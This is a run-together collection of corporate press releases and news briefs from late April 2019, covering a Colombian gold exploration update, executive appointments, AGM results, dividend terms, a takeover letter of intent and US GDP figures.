https://www.nextechar.com. On behalf of the Board of NexTech AR Solutions Corp. "Evan Gappelberg" CEO and Director For further information, please contact: Evan Gappelberg Chief Executive Officer info@nextechar.com Media contact: Erin Hadden FischTank Marketing and PR ehadden@fischtankpr.com The CSE has not reviewed and does not accept responsibility for the adequacy or accuracy of this release. Certain information contained herein may constitute "forward-looking information" under Canadian securities legislation. Generally, forward-looking information can be identified by the use of forward-looking terminology such as, "will be", "looking forward" or variations of such words and phrases or statements that certain actions, events or results "will" occur. Forward-looking statements regarding the Company increasing investors awareness are based on the Company's estimates and are subject to known and unknown risks, uncertainties and other factors that may cause the actual results, levels of activity, performance or achievements of NexTech to be materially different from those expressed or implied by such forward-looking statements or forward-looking information, including capital expenditures and other costs. There can be no assurance that such statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements and forward-looking information. NexTech will not update any forward-looking statements or forward-looking information that are incorporated by reference herein, except as required by applicable securities laws. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/44335 Vancouver, British Columbia--(Newsfile Corp. - April 26, 2019) - MAX RESOURCE CORP. (TSXV: MXR) (OTC Pink: MXROF) (FSE: M1D1) (the "Company") is pleased to provide a sample analysis and exploration update for the Company's 1,757 sq. km "Choco Gold and Platinum Project", located 100km SW of Medellin, Colombia. MAX continues to process 25kg to 50kg sample lots from the 2500 kg of gold-bearing conglomerate from each of the six conglomerate test pits; This on-going analytical testing of the 25kg to 50kg samples continues to show free gold + free platinum in most of the samples processed; Subsequent further processing of the panned concentrates has proven to be a challenge as most of the fine gold observed in the panned concentrates does not appear in the concentrates, once the follow up processing is completed; Detailed investigation has indicated, due to the fine nature or particle size of the gold grains, all the fine gold in the sample could not be collected for analysis, as free gold was observed washed away in the processing water, the samples processed to date are therefore compromised; Testing is progressing towards optimizing recovery of the fine gold; MAX will provide further updates as received. It is important to be aware that the conglomerate geological model has only recently been identified. MAX has experienced sampling inconsistences not previously encountered, this has resulted in on going changes and refinements in the processing of the conglomerate samples. Management anticipates the technical team will resolve the processing inconsistences in the near future. While awaiting the test results of the conglomerates, exploration continues at Choco. The MAX team has refined its exploration strategy to focus on locating enrichment zones, by conducting sample analysis on the weathered material, that overlays the conglomerates. The gold in the weathered conglomerate appears coarser in nature. The relevance of identifying the surface zones is the enrichment zones should continue at depth. As originally theorized, the entire system was essentially in-situ. The field team expects to then zero in on the underlying conglomerate (hard-rock) enrichment zones over the 1,757 sq. km property, including the 1,000 sq. km exploration area. Results will be released as received. MAX CEO Brett Matich commented. "We remain excited with the free gold + free platinum observed in most of the 25kg to 50kg samples processed to date and we will continue to advance our objective of optimizing recovery of the fine gold and platinum from the conglomerates." He continued, "I have no doubt the revised exploration strategy will successfully identify the underlying conglomerate enrichment zones." About MAX Resource Corp. MAX is a mineral exploration company focused on the development and acquisition of prospective projects in the rich mineral belts of Colombia. The Company has established significant exploration infrastructure and local community support for the Choco Gold and Platinum Project, located 100 km south of Medellin, which covers or is adjacent to historic production of 1.5Mozs gold and 1.0Mozs platinum. The Company's Gachala Copper Project, is located 60 km east of Bogota. The Company is led by a seasoned management team with a track record of significant discovery and exploration success. Source: R.J. Fletcher and Associates (2011) Review of Gold and Platinum Exploration and Production in Choco Province Colombia Part 3. Private Report for Condoto Platinum Ltd.) MAX cautions investors it has yet to verify the historic information. Tim Henneberry, PGeo (British Columbia), a member of the MAX Resource advisory board, is the qualified person who has reviewed and approved the technical content of this news release on behalf of the company. For more information visit: https://www.maxresource.com/ For additional information contact: MAX Resource Corp. Tim McNulty E: info@maxresource.com T: (604) 290-8100 For MAX Resource's French inquiries: Remy Scalabrini, Maricom Inc. E: rs@maricom.ca T: (888) 585-MARI No stock exchange or securities regulatory authority has reviewed or accepted responsibility for the adequacy or accuracy of this release. Except for statements of historic fact, this news release contains certain "forward-looking information" within the meaning of applicable securities law. Forward-looking information is frequently characterized by words such as "plan", "expect", "project", "intend", "believe", "anticipate", "estimate" and other similar words, or statements that certain events or conditions "may" or "will" occur. Forward-looking statements are based on the opinions and estimates at the date the statements are made and are subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those anticipated in the forward-looking statements including, but not limited to delays or uncertainties with regulatory approvals, including that of the CSE. There are uncertainties inherent in forward-looking information, including factors beyond the Company's control. There are no assurances that the commercialization plans for UXD described in this news release will come into effect on the terms or time frame described herein. The Company undertakes no obligation to update forward-looking information if circumstances or management's estimates or opinions should change except as required by law. The reader is cautioned not to place undue reliance on forward-looking statements. Additional information identifying risks and uncertainties that could affect financial results is contained in the Company's filings with Canadian securities regulators, which filings are available at www.sedar.com To view the source version of this press release, please visit https://www.newsfilecorp.com/release/44337 VICTOR, N.Y., April 26, 2019 (GLOBE NEWSWIRE) -- Constellation Brands, Inc. (NYSE: STZ and STZ.B), a leading beverage alcohol company, today announced it has appointed Robert Hanson as the company's new Executive Vice President and President, Wine & Spirits. Hanson previously served as a member of Constellation's Board of Directors from February 27, 2013 to April 24, 2019. Constellation's Board accepted Hanson's resignation from the Board prior to his acceptance of this new role with the company. Hanson will officially assume this new role on June 3, 2019. "Robert's strategic orientation, brand-building abilities in high-end segments, understanding of global operations, and leadership capabilities have been a huge benefit to our Board of Directors over the past six years," said Bill Newlands, President and Chief Executive Officer. "He will bring valuable perspective to our Wine & Spirits team that will help enhance our efforts to build strong brands consumers love, while delivering industry-leading growth and shareholder value in the years ahead." Hanson brings extensive consumer product goods and senior management experience to this role, having served as Chief Executive Officer at John Hardy Global Limited, a leading global luxury jewelry brand, where he will continue to serve as the company's Board Chair. During his tenure at John Hardy, Hanson played an instrumental role in evolving the company's strategy by strengthening its presence in the U.S. market, developing a line of distinctive artisan-crafted luxury products that resonate with today's high-end jewelry customers, and launching differentiated marketing campaigns and influencer programs that helped extend the brand's reach and foster meaningful connections with new customers. Prior to joining John Hardy, Hanson also served as Chief Executive Officer at American Eagle Outfitters and Global Brand President at Levi Strauss & Co. "I have developed a deep admiration and respect for Constellation Brands, its talented team members, and the company's iconic beverage alcohol portfolio over the years," said Hanson. "In particular, Constellation's Wine & Spirits strategy and portfolio of brands is highly aligned with evolving consumer trends and has tremendous potential and a very bright future ahead. I look forward to working with Bill Newlands and the rest of the team to capitalize on the opportunity that lies ahead and help drive the next phase of growth at Constellation." About Constellation Brands Constellation Brands (NYSE: STZ and STZ.B), a Fortune 500 company, is a leading international producer and marketer of beer, wine and spirits with operations in the U.S., Mexico, New Zealand, Italy and Canada. Constellation is the No. 3 beer company in the U.S. with high-end, iconic imported beer brands such as the Corona and Modelo brand families and Pacifico. Its high-quality, wine and spirits brands include the Robert Mondavi and The Prisoner Wine Company brand families, Kim Crawford, Ruffino, Meiomi and SVEDKA Vodka. The company's portfolio also includes a collection of highly-rated, wine brands such as SIMI and Mount Veeder Winery wine brands, High West Whiskey and Casa Noble Tequila, as well as new wine innovations such as Cooper & Thief and Spoken Barrel. Based in Victor, N.Y., the company believes that industry leadership involves a commitment to brand building, our trade partners, the environment, our investors and to consumers around the world who choose our products when celebrating big moments or enjoying quiet ones. Since its founding in 1945, Constellation's ability to see, meet and stay ahead of shifting consumer preferences and trends across total beverage alcohol has fueled our success and made us the No. 1 growth contributor in beverage alcohol in the U.S. To learn more, follow us on Twitter @cbrands and visit www.cbrands.com . MEDIA CONTACTS INVESTOR RELATIONS CONTACTS Mike McGrew 773-251-4934 michael.mcgrew@cbrands.com (mailto:michael.mcgrew@cbrands.com) Patty Yahn-Urlaub 585-678-7483 patty.yahn-urlaub@cbrands.com (mailto:patty.yahn-urlaub@cbrands.com) Amy Martin 585-678-7141 amy.martin@cbrands.com (mailto:amy.martin@cbrands.com) Bob Czudak 585-678-7170 bob.czudak@cbrands.com (mailto:bob.czudak@cbrands.com) Tom Conaway 585-678-7503 thomas.conaway@cbrands.com (mailto:thomas.conaway@cbrands.com) A photo accompanying this announcement is available at http://www.globenewswire.com/NewsRoom/AttachmentNg/9ec824d9-bdee-4960-8532-daf58248ac1e A downloadable PDF copy of this news release enhanced with multimedia links can be found here: http://ml.globenewswire.com/Resource/Download/b73d5302-4ec2-414d-89c0-7004d8b51b0d We hereby inform you that on the initiative and by the decision of the Board of AB Klaipedos nafta, legal entity code 110648893, registered address at Buriu str. 19, Klaipeda (hereinafter - the Company), an Annual General Meeting of Shareholders of the Company was convened on 26 April 2019 at 1:00 p.m. The meeting was held in the registered office of the Company at Buriu str. 19, Klaipeda. Annual General Meeting of Shareholders of the Company, held on 26 April 2019, adopted the following resolutions: Adopted decisions: 1. On the announcement of the Auditor's Report regarding the Financial Statements and Annual Report of the Company for the year 2018 to the shareholders: "The Auditor's Report regarding the Financial Statements and Annual Report of the Company for the year 2018 had been heard by the shareholders. Decision on this topic of the Agenda should not be taken." 2. On the announcement of the Annual Report of the Company for the year 2018 to the shareholders: "The Annual Report of the Company for the year 2018, as drafted by the Company, assessed by the Auditor and approved by the Board of the Company had been heard. Decision on this topic of the Agenda should not be taken." 3. On the approval of the audited Financial Statements of the Company for the year 2018: "To approve the audited Financial Statements of the Company for the year 2018." 4. On the appropriation of profit (loss) of the Company for the year 2018: "To distribute the Company's profit in the total sum of EUR 11,864,817.86 available for appropriation, as follows: No. Ratios Amount, EUR 1 Non-allocated profit (loss) at the beginning of the financial year as of 01-01-2018 - 2 Net profit (loss) for the financial year 11,577,238.52 3 Transfers from restricted reserves 287,579.34 4 Shareholders' contribution against losses - 5 Portion of the reserve of tangible fixed assets - 6 Profit for allocation (1+2+3+4+5) 11,864,817.86 7 Allocation of earnings to legal reserve 287,579.34 8 Allocation of profit to own shares acquisition - 9 Allocation of profit to other reserves - 10 Allocation of profit to dividends 11,577,238.52 11 Allocation of profit to tantiems - 12 Non-allocated profit (loss) at the end of the year 2018 carried forward to next financial year (6-7-8-9-10-11) - Jonas Lenksas, Chief Financial Officer, tel.: +370 694 80594 Vancouver, Canada, from April 28th to May 2nd, 2019 SparingVision, a biotechnology company focused on the discovering and development of an innovative, therapeutic approach for treatment of blinding inherited retinal diseases such as retinitis pigmentosa (RP), announced that four communications (3 posters and 1 oral presentation) related to the SPVN06 gene therapy developed by SparingVision, will be presented during the 2019 Association for Research in Vision and Ophthalmology (ARVO) Annual Meeting in Vancouver, Canada, from April 28 to May 2, 2019. Also, SparingVision will participate in the 6th Annual Retinal Cell and Gene Therapy Innovation Summit taking place just prior to the ARVO. ARVO is the largest and most respected eye and vision research organization in the world. Members include nearly 12,000 researchers. ARVO's mission is to advance research worldwide into understanding the visual system and preventing, treating and curing its disorders. "SparingVision will participate at ARVO's annual meeting 2019 with an oral presentation and three posters from our research team partner of the Paris Vision institute. We are delighted to share our preclinical datas among this prestigious congress. We are starting the production of our clinical batches to initiate the first clinical trials in Europe and the United States in 2020" explains Florence Allouche, CEO of SparingVision. The presentations include 6-phosphofructo-2-kinase/fructose-2,6-bisphosphatase 2 governs the metabolic flux between rod and cone photoreceptor) Oral presentation will be made by Geraldine Millet-Puel (Thierry Leveillard's team), Paris Vision Institute Genetic department from La Sorbonne University. Session Retina Cell Biology 6404 Date Thu, May 02 10:15am 12:00pm NCL is implicated in the NXNL1 gene splicing and leads to RdCVF expression in retinoblastoma cell lines - The poster will be presented by Najate Ait-Ali (Thierry Leveillard's team), Paris Vision Institute- Genetic department from La Sorbonne University. Session (A0261) Poster 4940 A0261 Modeling Cone Aerobic Glycolysis The poster will be presented by Erika Tatiana Camacho, School of Mathematical Natural Sciences, Arizona State University in collaboration with Thierry Leveillard's team. Session (B0029) Poster 567 B0029 Mathematically Assessing the Contributions of Key Processes in Cone Aerobic Glycolysis will be presented by Danielle Brager, School of Mathematical Natural Sciences, Arizona State University in collaboration with Thierry Leveillard's team. Session (B0031) Poster 569 B0031 In addition, Florence Allouche will take part in the French American Innovation Day (FAID) to be held in Los Angeles on May 6 and 7, 2019. This event will bring together high-level French and American experts on a theme of innovation "hereditary retinal dystrophies" to promote French Scientific Excellence in the United States. About SparingVision SparingVision is a biotechnology company focused on the discovering and development of innovative therapies for the treatment of blinding inherited retinal diseases SparingVision is developing SPVN06, a drug candidate to treat retinitis pigmentosa, the most common inherited retinal degeneration. There is currently no treatment to treat all forms of this rare genetic disease of the retina that leads to blindness and affects approximately 40,000 people in France and nearly 2 million worldwide. SparingVision is a spin-off of the Paris Vision Institute. Bpifrance, the Foundation Fighting Blindness (US) and the Voir Entendre Foundation invested 15.5 million euros in the company. SparingVision is laureate of Grand Prix of i-Lab. 2017, the National Contest for the Creation of Innovative Companies and is part of the first selection of companies Hub Heath Tech launched by Bpifrance in December 2017. Florence Allouche, President of SparingVision was elected "Woman of the Year 2017" by the financial magazine La Tribune. www.sparingvision.com View source version on businesswire.com: https://www.businesswire.com/news/home/20190426005197/en/ Contacts: Florence Allouche +33 1 43 46 20 60 Pharm D. Presidente SparingVision, fag@sparingvision.com Florence Portejoie, 33 6 07 76 82 83 FP2COM fportejoie@fp2com.fr Photo: The Canadian Press Washington state ferry sails on a foggy day near cranes at the Port of Seattle. The U.S. economy grew at a solid 3.2% annual rate in the first three months of the year, a far better outcome than expected, overcoming a host of headwinds including global weakness, rising trade tensions and a partial government shutdown. The advance in the gross domestic product, the broadest measure of economic health, marks an acceleration from a 2.2% gain in the previous October-December period. However, about half the gain reflected two factors not expected to last a big jump stockpiling by businesses and a sharp contraction in the trade deficit. Still, the GDP gain surpassed the 3% bar set by President Donald Trump as evidence his economic program is working. Trump is counting on a strong economy as he campaigns for re-election. CAMBRIDGE, England, April 26, 2019 /PRNewswire/ -- To promote economic goodness and explore how to construct enterprises of goodness in China, the Centre for Goodness Studies, China (CGSC) hosted the first round-table conference on economy of goodness at Murray Edwards College, the University of Cambridge from April 3rd to 8th. The conference consisted of two stages - the programme on economy of goodness and a symposium regarding relevant discussions. During the programme, prestigious scholars and experienced entrepreneurs - Prof. Rey Sheng Her, Prof. Richard Gombrich, Vincent Shen, Joe Hsueh - gave talks on economy of goodness from different aspects such as management, technology and philanthropy. In the symposium, representatives of enterprises of goodness worldwide shared their own experience of running business and were altogether involved in discussions on the future of economy of goodness. The chief advisor of CGSC, Prof. Her - currently a visiting scholar at the University of Cambridge, the University of Oxford - emphasised that the core belief, value-based leadership, the concept of altruism and collaborative strategy are the cornerstones of business sustainable development. Citing the cases of Steve Jobs and Ma Yun, he further demonstrated that to be altruistic will better serve ourselves. All the delegates, after heated discussions, arrived at a consensus that goodness studies should be a milestone in the development process of human civilisation. At the end of the conference, they all obtained certificates for their successful attendance and became "noble men" of CGSC. With an expectation of being practitioners and pioneers in this field, they signed the Joint Declaration and promised to undertake the mission of promoting goodness studies. About CGSC: CGSC aims to study and promote the theory of goodness and support the practice in this field. With a strong team of scholars from universities worldwide, CGSC proposed and developed its core value systems from ten aspects, namely economy, culture, education, life, philanthropy, governance, environment, technology, art and communication. The concept of "Economy of Goodness" encourages more diversity and broad coverage of business ethics issues. By combining online and offline interactions, CGSC aims to build an open platform for entrepreneurs of goodness to enhance their strategies and methods of business management through collective dialogue and collaboration, which also promotes their unity. The formation of such a network will strengthen mutual support among entrepreneurs from different industries, thereby fostering the birth of more enterprises of goodness. For more information, please visit: en.cgsc.org.cn Photo - https://mma.prnewswire.com/media/877982/CGSC.jpg F&C UK Real Estate Investments Ltd - Change of Name To: Company Announcements From: F&C UK Real Estate Investments Limited (now called BMO Real Estate Investments Limited) Date:26 April 2019 LEI: 231801XRCB89W6XTR23 Change of Name F&C UK Real Estate Investments Limited (the "Company") announces that it will change its name to BMO Real Estate Investments Limited with effect from 29 April 2019. Shareholder approval was granted at the AGM in November 2018 to change the Company name which will be aligned with the Investment Manager. The Company's shares will trade under the new name on the London Stock Exchange with effect from 8.00 a.m. on 29 April 2019. The Company's trading instrument display mnemonic ("TIDM") will change from FCRE to BREI. The ISIN and SEDOL numbers will remain unchanged. The Company's website address will be amended to reflect the change of name and will be available at www.bmorealestateinvestments.com from 29 April 2019. Shareholders are unaffected by the change of name and existing share certificates should be retained and will remain valid. Any new share certificates issued will bear the name BMO Real Estate Investments Limited. The investment policy and process remain unchanged with Peter Lowe as Fund Manager. All Enquiries: The Company Secretary Northern Trust International Fund Administration Services (Guernsey) Limited Trafalgar Court Les Banques St Peter Port Guernsey GY1 3QL Tel: 01481 745436 Fax: 01481 745085 Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. LONDON, April 26, 2019 /PRNewswire/ -- The London Internet Exchange (LINX) addresses the need for efficient and simpler networking through an innovative model that decreases costs whilst giving the financial services community greater control over their networks. Although overlooked, networking is a fundamental asset to innovation. Innovative networking models not only enable financial institutions to deliver new levels of user experience for their services, but they also invite a greater level of control over who they are being connected with. Exchanging internet traffic at an internet exchange point is one of the best ways to maximise the potential of networking in a financial institution - this is known as "peering". The implementation of "peering" invites a wealth of benefits; some of these entails securely routing traffic via. different routes and delivering a highly efficient service as opposed to managing a range of networking relationships. LINX adopts this technology to enable the freedom of being able to control who an organisation peers with. The larger the peering ecosystem the better. With over 880 networks from 80 countries connected, LINX offers peering partners a diverse and growing number of peering options. To read the full article, visit the article. About Business Reporter Business Reporter is distributed with The Daily Telegraph, The Sunday Telegraph and City AM, each of our publications reaches an average of 1.5 million people. Content is also published through the Business Reporter and TEISS websites, which includes video debates, online articles, and digital magazines. This content is meant to deliver news and analysis on the issues that are affecting businesses to our global audience. In addition to publications, Business Reporter hosts conferences, breakfasts meetings, and exclusive summits. These events bring together some of the most influential decision makers and innovators in modern business. These exclusive events for business leaders complement the content and direction of editorial projects, allowing them to have direct contact with their readers. Above all, Business Reporter's commitment is to make meaningful analysis for every business owner. Whether individuals are running a small business, the head of a local company or an executive in a multinational corporation, there will be something for them at Business Reporter. https://www.business-reporter.co.uk/ Weiss Korea Opportunity Fund - Notice of AGM NOT FOR DISTRIBUTION, DIRECTLY OR INDIRECTLY, IN WHOLE OR IN PART OR INTO THE UNITED STATES, CANADA, AUSTRALIA, JAPAN, THE REPUBLIC OF IRELAND OR SOUTH AFRICA OR TO U.S PERSONS Weiss Korea Opportunity Fund Ltd. (The "Company") (a closed-ended investment scheme incorporated with limited liability under the law of Guernsey with registration number 56535) LEI Number: 213800GXKGJVWN3BF511 26 April 2019 NOTICE OF ANNUAL GENERAL MEETING Notice is hereby given that the Sixth Annual General Meeting of the Company will be held at the offices of Northern Trust International Fund Administration Services (Guernsey) Limited, Trafalgar Court, Les Banques, St Peter Port, Guernsey on 25 July 2019 at 1.00pm. The Notice of AGM together with the Annual Report and Accounts for the year ended 31 December 2018 has been posted to shareholders. Enquiries: Northern Trust International Fund Administration Services (Guernsey) Limited The Company Secretary Trafalgar Court Les Banques St Peter Port Guernsey GY1 3QL Tel: 01481 745001 END Results of voting on resolutions Regulatory News: On April 26, 2019, the shareholders of Seche Environnement (Paris:SCHP) attended a combined Ordinary and Extraordinary General Meeting chaired by Joel Seche, Chairman and CEO. All of the resolutions put forward were approved, in particular those on the approval of the 2018 financial statements and appropriation of earnings. The General Meeting also renewed the directorship of Mr. Philippe Valletoux for a three-year term. A breakdown of the voting results for each resolution will be available on our website: https://www.groupe-seche.com/en/investors/meeting in the "2019 Shareholders' Meeting" section. The General Meeting was an opportunity to comment on the positive trend in consolidated business activity over the first quarter of 2019 and the Group's external growth drive, through the acquisitions completed so far this year in South Africa (Interwaste) and Italy (Mecomer), and also to confirm Seche Environnement's favorable outlook for the 2019 fiscal year. Calendar Consolidated results at June 30, 2019 September 9, 2019 after market close About Seche Environnement Seche Environnement is one of France's leading players in the recovery and treatment of all types of waste, from both industry and local communities. Seche Environnement is the leading independent operator in France. It is uniquely positioned as a specialist in highly complex waste, operating within regulated waste recovery and treatment markets with high barriers to entry and develops cutting edge hazardous and non-hazardous waste recovery and treatment solutions. In fact, its facilities and expertise enable it to provide high value-added solutions to its industrial and public authority clients, targeting the challenges of the circular economy and sustainable development requirements, such as: the material and energy recovery of hazardous and non-hazardous waste; a comprehensive range of treatment solutions for solid, liquid and gaseous waste (thermal, physical-chemical and radiation treatment, etc.); the storage of final hazardous and non-hazardous waste; eco-services such as decontamination, decommissioning, asbestos removal and rehabilitation; the global management of environmental services under outsourcing agreements. Leveraging its extensive expertise, Seche Environnement operates in 15 countries around the world and is developing rapidly internationally through organic growth and acquisitions. Already operating in Europe (Spain and Germany) Seche Environnement has recently taken a leading position in Latin America (Peru and Chile) and in South Africa. To date, the Group employs 4,500 people worldwide (including about 2,000 in France). Seche Environnement has been listed on Eurolist by Euronext (Compartment B) since November 27, 1997. It is eligible for equity savings funds dedicated to investing in SMEs and is listed in the CAC Mid&Small and Enternext PEA-PME 150 indexes. Important notice This press release may contain information of a provisional nature. This information represents either trends or targets as of the date of publication of the press release and may not be considered as results forecasts or as any other type of performance indicator. This information is by nature subject to risks and uncertainties which are difficult to foresee and are usually beyond the Company's control, which may imply that expected results and developments differ significantly from announced trends and targets. These risks notably include those described in the Company's Registration Document, which is available at its website (www.groupe-seche.com). This information therefore does not reflect the Company's future performance, which may differ considerably, and no guarantee can be given as to the achievement of these forward-looking figures. The Company makes no commitment on the updating of this information. More detailed information on the Company can be obtained on its website (www.groupe-seche.com), in the Regulated Information section. This press release does not constitute an offer of shares or a solicitation in view of an offer of shares in any country, including the United States. Distribution of this press release may be subject to the laws and regulations in force in France or other countries. Persons in possession of this press release must be aware of these restrictions and observe them. View source version on businesswire.com: https://www.businesswire.com/news/home/20190426005018/en/ Contacts: Seche Environnement Manuel Andersen Head of Investor Relations +33 (0)1 53 21 53 60 m.andersen@groupe-seche.com The "Eastern Europe Pay TV Forecasts" report has been added to ResearchAndMarkets.com's offering. Pay TV revenues in Eastern Europe will peak at $6.95 billion in 2019 before slowly falling to $6.59 billion by 2024. Analog cable revenues will drop by $844 million over this period, so digital pay TV revenues will increase by $502 million to $6.56 billion. Simon Murray, a Principal Analyst, said: Tough times continue in Eastern Europe, with poor job prospects forcing many to seek work abroad. This migration married with low birth rates mean that the number of TV households will fall in 18 countries between 2018 and 2024 with the region's TV households dropping by 2.5 million. Murray continued: The number of pay TV subscribers in Eastern Europe will decline from 82.33 million at end-2018 to 78.64 million in 2024. Not great news but better than the US situation. Eastern Europe is slowly ridding itself of the legacy of analog cable TV. There were still 17.67 million analog cable subscribers by end-2018. This total will fall to 568,000 by 2024. The number of digital pay TV subscribers will increase by 13 million between 2018 and 2024 to 78 million or up by 21%. This 224-page PDF, PowerPoint and excel report comes in three parts: Outlook: Forecasts for 22 countries in a 57-page PowerPoint document full of charts, graphs and bullet points; Excel workbook covering each year from 2010 to 2024 for 22 countries by household penetration, by pay TV subscribers, by pay TV revenues and by major operator. As well as summary tables by country and by platform; Insight: Detailed country-by-country analysis in an 87-page PDF document. Companies Mentioned A1 Akado Albtelecom Baltcom Beeline/Veon Bulsatcom Cablenet Cgates Cosmote CT Cyfra Cytavision Digi TV Digitalb Elisa ER Telecom Inea Invitel M:Tel Max TV MinDig Moldtelecom MTIS MTS Multimedia Polska NC+ Neo TV Netia Nova Digi/Slovak Telekom NTV Plus O2 Orange TV Orion Polsat Primetel RCS-RDS Rostelecom SBB Skylink Sun T-2 T-Home T-Mobile Telekom Romania Telekom Srbija Telemach Telia TEO Tet Total TV and more... For more information about this report visit https://www.researchandmarkets.com/r/ejih9m View source version on businesswire.com: https://www.businesswire.com/news/home/20190426005435/en/ Contacts: ResearchAndMarkets.com Laura Wood, Senior Press Manager press@researchandmarkets.com For E.S.T Office Hours Call 1-917-300-0470 For U.S./CAN Toll Free Call 1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 Related Topics: Cable Television THUNDER BAY, ON / ACCESSWIRE / April 26, 2019 / Thunder River Enterprises Ltd. (the "Corporation") announces that it has entered into a letter of intent (the "LOI") with 80-20 Connect Inc. ("8020"). 8020 is incorporated under the Business Corporations Act (Alberta) and is a software technology company specializing in the development of niche managed social media communications, data collection and AI applications. The LOI outlines the basic terms and conditions upon which the Corporation and 8020 would be prepared to complete a transaction that would result in a reverse take-over of the Corporation by the securityholders of 8020 (the "Proposed Transaction"). The Proposed Transaction is an arm's length transaction. The Proposed Transaction will be conditional upon 8020 completing a private placement of 6,250,000 units ("8020 Units") at a price of $0.20 per unit for gross proceeds of $1,250,000, with each unit to consist of one common share and one-half of one common share purchase warrant with an exercise price of $0.30 per share, exercisable within 12 months from the date of issue. The Proposed Transaction would result in the shareholders of the Corporation owning 2,000,000 common shares of the resulting issuer, the current shareholders of 8020 owning up to 11,488,419 common shares of the resulting issuer, the holders of 8020 Units owning 6,250,000 units of the resulting issuer, holders of up to $56,000 of debt of the Corporation owning up to 280,000 common shares of the resulting issuer, holders of stock options of 8020 holding 2,260,000 stock options of the resulting issuer and holders of certain referral rights, if earned, holding 980,000 common shares of the resulting issuer. The Proposed Transaction will be structured by way of a plan of arrangement, amalgamation, takeover bid, reorganization or other similar form of transaction, as determined following a review of all relevant legal, regulatory and tax matters. It is contemplated that the current directors of the Corporation, except Scott Kellaway, will resign and be replaced by nominees of 8020. The Proposed Transaction is subject to the parties entering into a definitive agreement by not later than July 31, 2019 and thereafter meeting all shareholder and regulatory approvals, with a closing date of not later than October 31, 2019. For further information contact; Thunder River Enterprises Ltd. Attention: Scott C. Kellaway Chief Executive Officer Phone: (807) 577-6463 E-mail: familymemorials@tbaytel.net Forward Looking Statements Statements in this news release contain forward-looking information within the meaning of applicable securities law. Forward-looking information is frequently characterized by words such as "contemplates", "intends", "plan", "expect", "project", "believe", "anticipate", "estimate" and other similar words, or statements that certain events or conditions "may" or "will" occur. In particular, forward-looking information in this news release includes, without limitation, statements with respect to: the entering into of a definitive agreement and completion of the financing by 8020. Readers are cautioned that assumptions used in the preparation of forward-looking information may prove to be incorrect. Although the Corporation believes that the expectations reflected in the forward-looking information is reasonable, there can be no assurance that such expectations will prove to be correct. The Corporation cannot guarantee future results, level of activity, or performance of achievements. Consequently, there is no representation that the actual results achieved will be the same, in whole or in part, as those set out in the forward-looking information. Forward-looking information is based on the opinions and estimates of management at the date the statements are made, and are subject to a variety of risks and uncertainties and other factors (many of which are beyond the control of the Corporation) that could cause actual events or results to differ materially from those anticipated in the forward-looking information. Some of the risks and other factors could cause results to differ materially from those expressed in the forward-looking information include, but are not limited to, risks that the parties will not enter into the definitive agreement or the terms of the definitive agreement will differ than those contained in the LOI; risks that required regulatory approvals are not obtained; and risks that other conditions to the completion of the Proposed Transaction or financing are not satisfied. Readers are cautioned that this list of risk factors should not be construed as exhaustive. The forward-looking information contained in this news release is expressly qualified by this cautionary statement. The Corporation undertakes no obligation to update or revise any forward-looking statements to conform such information to actual results or to changes in its expectations except as otherwise required by Exchange Requirements and applicable securities legislation. Readers are cautioned not to place undue reliance on forward-looking information. SOURCE: Thunder River Enterprises Ltd. View source version on accesswire.com:https://www.accesswire.com/543147/Thunder-River-Enterprises-Ltd-Announces-Entering-into-of-Letter-of-Intent Calendar and conditions Regulatory News: On 14 March 2019, the Board of directors (the "Board") of Korian (the "Company") (Paris:KORI) decided to submit to the annual general Meeting (the "Meeting"), which will be held on 6 June 2019, the payment of a dividend of 0.60 per share in respect of the 2018 financial year. The Board also decided again to submit to the Meeting a resolution in order to offer to each of the shareholders the possibility to choose for a payment of the dividend in newly issued Company shares; the payment in shares would apply to the whole dividend. The new shares would be issued at a price equal to 95 of the average of the opening share price for the 20 trading days preceding the date of the Meeting, less the net amount of dividend per share, i.e. 0.60, rounded up to the higher euro cent. CALENDAR AND CONDITIONS FOR THE PAYMENT OF THE DIVIDEND Ex date: 11 June 2019 11 June 2019 Record date: 12 June 2019 12 June 2019 Period during which the option can be exercised : from 13 June to 27 June 2019 included. Beyond that date, if the option has not been exercised, the dividend will be paid in cash. : from 13 June to 27 June 2019 included. Beyond that date, if the option has not been exercised, the dividend will be paid in cash. Treatment of share fractions: if the amount of dividends for which the option is exercised does not correspond to a round number of shares, the shareholders will receive the rounded-down whole number of shares and the balance in cash. if the amount of dividends for which the option is exercised does not correspond to a round number of shares, the shareholders will receive the rounded-down whole number of shares and the balance in cash. Payment date: 3 July 2019 (whatever the option chosen). 3 July 2019 (whatever the option chosen). Admission and date of entitlement to the new shares: the new shares issued as payment for the dividend, should the option be exercised, will be admitted to trading on the NYSE Euronext Paris regulated market. The shares will be subject to all the clauses of the Company's articles of association and will carry dividend rights from 1 January 2019. As from their issuance, the shares will be fully assimilated to the ordinary shares forming the Company's share capital. This option may be subject to legal restrictions for shareholders who are not French residents. The latter are invited to consult their legal counsel with respect to the laws and regulations applicable in their own country of residence. Disclaimer This press release constitutes the information document required pursuant to Articles 212-4 (4) and 212-5 (5) of the general Regulations of the Autorite des marches financiers (the "AMF") as well as to Article 18 and Appendix III of the AMF guidelines 2016-04 relating to the information to be disseminated when financial securities are offered to the public or admitted to trading on a regulated market. This press release does not constitute an offer of securities. This press release and any other document relating to the payment of the dividend in shares shall be published outside France only in accordance with local laws and regulations and shall not constitute an offer of securities in countries where such offer would violate applicable laws and regulations. Next event: 6 June 2019 Annual General Meeting Next publication: 31 July 2019 Interim revenue and results ABOUT KORIAN Korian, an expert in care and support services for the elderly, manages Europe's leading network of long-term care nursing homes, specialised clinics, assisted living and shared senior housing, homecare and hospital-at-home services. For more information, please visit the website: www.korian.com Korian has been listed on Euronext Paris (Compartment A) since November 2006 and is included in the following indices: SBF 120, CAC Health Care, CAC Mid 60, CAC Mid Small and MSCI Global Small Cap Euronext Ticker: KORI ISIN: FR0010386334 